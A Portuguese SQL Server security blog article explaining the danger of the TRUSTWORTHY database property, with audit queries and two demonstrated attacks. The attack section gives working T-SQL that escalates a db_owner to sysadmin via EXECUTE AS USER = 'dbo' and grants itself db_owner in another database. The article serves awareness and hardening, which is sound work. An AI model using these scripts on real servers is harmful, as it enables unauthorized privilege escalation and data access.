- Auditoria no SQL Server (Server Audit)
- Como criar uma auditoria para monitorar a criação, modificação e exclusão de Jobs no SQL Server
- Como criar uma trigger de Auditoria para logar a manipulação de objetos no SQL Server
- SQL Server – Como implementar auditoria e controle de logins (Trigger de Logon)
- Monitorando operações de DDL e DCL utilizando a fn_trace_gettable do SQL Server
- Utilizando o trace padrão do SQL Server para auditar eventos (fn_trace_gettable)
- SQL Server – Trigger de auditoria de permissões e privilégios a nível de database e instância (GRANT e REVOKE)
- SQL Server – Como monitorar e auditar alterações de dados em tabelas utilizando Change Data Capture (CDC)
- SQL Server 2016 – Como “viajar no tempo” utilizando o recurso Temporal Tables
- SQL Server – Como utilizar auditoria para mapear permissões necessárias reais em um usuário
- SQL Server – Trigger para prevenir e impedir alterações em tabelas
- SQL Server – Como criar um histórico de alterações de dados para suas tabelas (logs para auditoria)
- SQL Server – Como evitar ataques de força bruta no seu banco de dados
- SQL Server – Checklist de Segurança – Uma SP com mais de 70 itens de segurança para validar seu banco de dados
- SQL Server – Como saber a data do último login de um usuário
- SQL Server – Como evitar e se proteger de ataques de Ransomware, como WannaCry, no seu servidor de banco de dados
- SQL Server – Cuidado com a server role securityadmin! Utilizando elevação de privilégios para virar sysadmin
- SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora.
- SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database
- SQL Server – Políticas de Senhas, Expiração de Senha, Troca de Senha Obrigatória e Bloqueio de Login após N tentativas
- SQL Server – Como criar uma auditoria de logins utilizando os logs da instância
Fala pessoal!
Em mais um artigo sobre segurança, que é o tema da minha palestra no MVPConf LATAM 2019, vou compartilhar com vocês os riscos da propriedade TRUSTWORTHY de um database no SQL Server, que é muito utilizado em ambientes que utilizam bibliotecas SQLCLR com nível de permissão EXTERNAL_ACCESS ou UNRESTRICTED.
Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve vou escrever um artigo sobre isso.
Para identificar os databases da sua instância que possuem essa propriedade habilitada, utilize a query abaixo:
1 2 3 |
SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1 |
E numa consulta um pouco mais elaborada, já podemos fazer a associação com assemblies SQLCLR e com os usuários que são db_owner nesses databases:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy CREATE TABLE #Bancos_Trustworthy ( [database_id] INT, [name] NVARCHAR(128), [owner_sid] VARBINARY(85), [db_owner_member] NVARCHAR(128), [state_desc] NVARCHAR(60), [is_trustworthy_on] BIT, [assembly_name] NVARCHAR(128), [permission_set_desc] NVARCHAR(60), [create_date] DATETIME ) INSERT INTO #Bancos_Trustworthy EXEC sys.sp_MSforeachdb ' SELECT A.database_id, A.[name], A.owner_sid, C.member_name, A.state_desc, A.is_trustworthy_on, B.[name] AS assembly_name, B.permission_set_desc, B.create_date FROM [?].sys.databases A LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1 OUTER APPLY ( SELECT B.[name] AS member_name FROM [?].sys.database_role_members A JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id WHERE C.[name] = ''db_owner'' AND C.is_fixed_role = 1 AND B.principal_id > 4 ) C WHERE A.is_trustworthy_on = 1 AND A.[name] = ''?''' SELECT * FROM #Bancos_Trustworthy |
Para que serve e qual o perigo do TRUSTWORTHY = ON?
A propriedade TRUSTWORTHY tem sim, seus benefícios, como a possibilidade de executar Stored Procedures com acesso externo em bibliotecas SQLCLR, mas vai além disso. Como o Luan Moreno explicou detalhadamente no seu artigo Porque Utilizar a Opção TRUSTWORTHY, essa propriedade, quando habilitada, permite que um objeto criado utilizando EXECUTE AS (ou até mesmo um comando ad-hoc) em um determinado database acesse dados de outro database.
Como a operação EXECUTE AS exige um nível de confiabilidade muito grande (saiba sobre os riscos do EXECUTE AS clicando aqui neste link), o SQL Server bloqueia esse tipo de execução, que só é permitida retirando a cláusula EXECUTE AS desse objeto ou habilitando a propriedade TRUSTWORTHY no database onde o objeto está criado.
Mas qual é o risco de ter a propriedade TRUSTWORTHY habilitada em um database ? É justamente essa confiabilidade entre os databases.. rs
Meu ambiente tem o seguinte cenário: O usuário dirceu Dirceu_User faz parte dos membros da database role db_owner no banco CLR, que possui a propriedade Trustworthy habilitada. Esse usuário não está nem criado em outros databases e não possui nenhuma permissão a nível de instância.
Vamos ver o que dá pra fazer nesse cenário.
Tentativa 1: Quero ser sysadmin!
Logo de cara no primeiro teste, vou tentar me aproveitar do banco ter a propriedade Trustworthy habilitada para me transformar em um usuário sysadmin. Isso será feito utilizando o usuário padrão dbo, para executar os comandos que eu preciso:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO USE [CLR] GO EXECUTE AS USER = 'dbo' GO ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User] GO REVERT GO SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO |
Resultado da execução: Agora sou sysadmin!
Já de cara deu pra entender o risco que essa propriedade traz pra gente né ? Imaginem um database com essa propriedade habilitada e o usuário de alguma aplicação esteja na role db_owner. Um SQL Injection simples pode fazer com o que invasor obtenha privilégio de sysadmin na instância, mesmo que o usuário da aplicação não seja sysadmin. Para saber mais sobre SQL Injection, dê uma lida no meu artigo SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora..
Tentativa 2: Quero ser db_owner de outros databases!
Nessa segunda tentativa, vou tentar criar meu usuário em outro database e me colocar como db_owner desse database também. Desta forma, um atacante consegue acesso a outros databases que existem na instância, não só no banco que ele conseguiu invadir.
Vamos tentar acessar o database “dirceuresende”, pois quero ler os dados que estão lá:
É, meu usuário não existe lá. Bom, vamos invadir então:
1 2 3 4 5 6 7 8 9 |
-- Mostra meu usuário e comprova que não sou sysadmin SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?] |
Vamos agora acessar o database “dirceuresende” através do EXECUTE AS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado USE [CLR] GO -- Mudo o contexto da execução para o usuário dbo (sysadmin por default) EXECUTE AS USER = 'dbo' GO -- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende" USE [dirceuresende] GO -- Confirmando que estou acessando o database "dirceuresende" SELECT DB_ID(), DB_NAME() GO |
Agora vou listar quem são os db_owners nesse database:
1 2 3 4 5 6 7 8 |
-- Listo quem são os usuários sysadmin SELECT C.[name] AS member_name FROM sys.database_role_members A JOIN sys.database_principals B ON A.role_principal_id = B.principal_id JOIN sys.database_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] = 'db_owner' AND B.is_fixed_role = 1 GO |
Começando a minha “invasão”, estou utilizando o contexto de execução do usuário dbo e com isso, posso criar meu usuário nesse database me adicionar na database role db_owner:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
-- Crio meu usuário nesse database CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User] GO -- Me autoadiciono na database role db_owner ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User] GO -- Volto para o database que eu executei o comando EXECUTE AS -- Msg 15199, Level 16, State 1, Line 46 -- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again. USE [CLR] GO -- Volto o contexto de execução para o usuário Dirceu_User REVERT GO |
Agora meu usuário é db_owner do database “dirceuresende” :). Não acredita? Vou provar.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
-- Mostra meu usuário e comprova que não sou sysadmin SELECT USER_NAME() AS [user_name], ORIGINAL_LOGIN() AS [original_login], USER AS [user], SUSER_NAME() AS [suser_name], SUSER_SNAME() AS [suser_sname], SYSTEM_USER AS [system_user], IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]; GO -- Agora consigo acessar esse database :) USE [dirceuresende] GO -- Confirmando que estou acessando o database "dirceuresende" SELECT DB_ID(), DB_NAME() GO -- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :) SELECT C.[name] AS member_name FROM sys.database_role_members A JOIN sys.database_principals B ON A.role_principal_id = B.principal_id JOIN sys.database_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] = 'db_owner' AND B.is_fixed_role = 1 GO |
Resultado final do meu ataque:
Bom pessoal, com esses 2 tipos de ataques demonstrados acima, acho que consegui expor alguns riscos de segurança ao se utilizar essa propriedade em ambientes de produção, especialmente em databases que são utilizados por aplicações e são suscetíveis a ataques como SQL Injection e o atacante terá bem mais ferramentas para utilizar com essa propriedade habilitada no banco que ele está atacando.
Vale ressaltar que essa propriedade tem seus benefícios sim, conforme comentei no início da postagem, mas deve ter ativada com muito cuidado e consciência no ambiente. Esses exemplos que demonstrei são apenas alguns deles, mas podem ser feito N tipos de ataques diferentes explorando a brecha de segurança causada pela propriedade Trustworthy.
Se você tem uma biblioteca SQLCLR e habilitou a propriedade Trustworthy por causa disso, saiba que existem outras formas de se conseguir utilizar suas bibliotecas CLR sem precisar ativar essa propriedade, que é com uso de certificados e assinatura do Assembly no SQL Server. Em breve vou escrever um artigo sobre isso. Aguardem..
E para tranquilizar vocês, saibam que apenas usuários que estão na role sysadmin podem alterar a propriedade TRUSTWORTHY de um database. Nem mesmo o owner do DB ou os usuários que estão na role db_owner, podem alterar essa propriedade.
Referências:
- TRUSTWORTHY Database Property
- Porque Utilizar a Opção TRUSTWORTHY
- Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases
- Database ownership and TRUSTWORTHY
- Privilege Escalation to sysadmin via Trustworthy Database setting
É isso aí, pessoal!
Espero que tenham gostado desse artigo e vocês comecem a levar a segurança do seu ambiente mais a sério. Se você está preocupado com a segurança do seu ambiente e quer a opinião de um especialista no assunto, solicite agora mesmo o Check-up GRATUITO do seu banco de dados + análise de segurança: Será que você precisa ?.
Forte Abraço e até a próxima!